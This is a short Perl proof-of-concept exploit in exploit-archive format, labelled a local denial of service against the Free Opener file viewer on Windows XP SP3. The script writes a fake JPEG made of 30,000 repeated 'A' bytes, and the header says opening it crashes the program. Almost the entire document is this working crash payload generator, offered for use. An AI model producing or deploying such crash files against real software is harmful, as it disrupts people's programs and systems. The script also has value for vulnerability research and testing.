#!/usr/bin/perl

# Exploit Title:  Free Opener Local Denial of Service
# Date: 09-12-11
# Author: Iolo Morganwg
# Download: http://dl.installiq.com/download/downloadpop.aspx?shortname=freeopener&a=13193&f=FO-Main
# Tested on: Windows XP SP3

#To trigger: Run script open with Free opener, program dies!.

my $file= "crash25000.jpg";
my $junk = "\x41" x 30000;
# my $junk2 = "\x42" x 5000;

open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);

print "File Created successfully\n";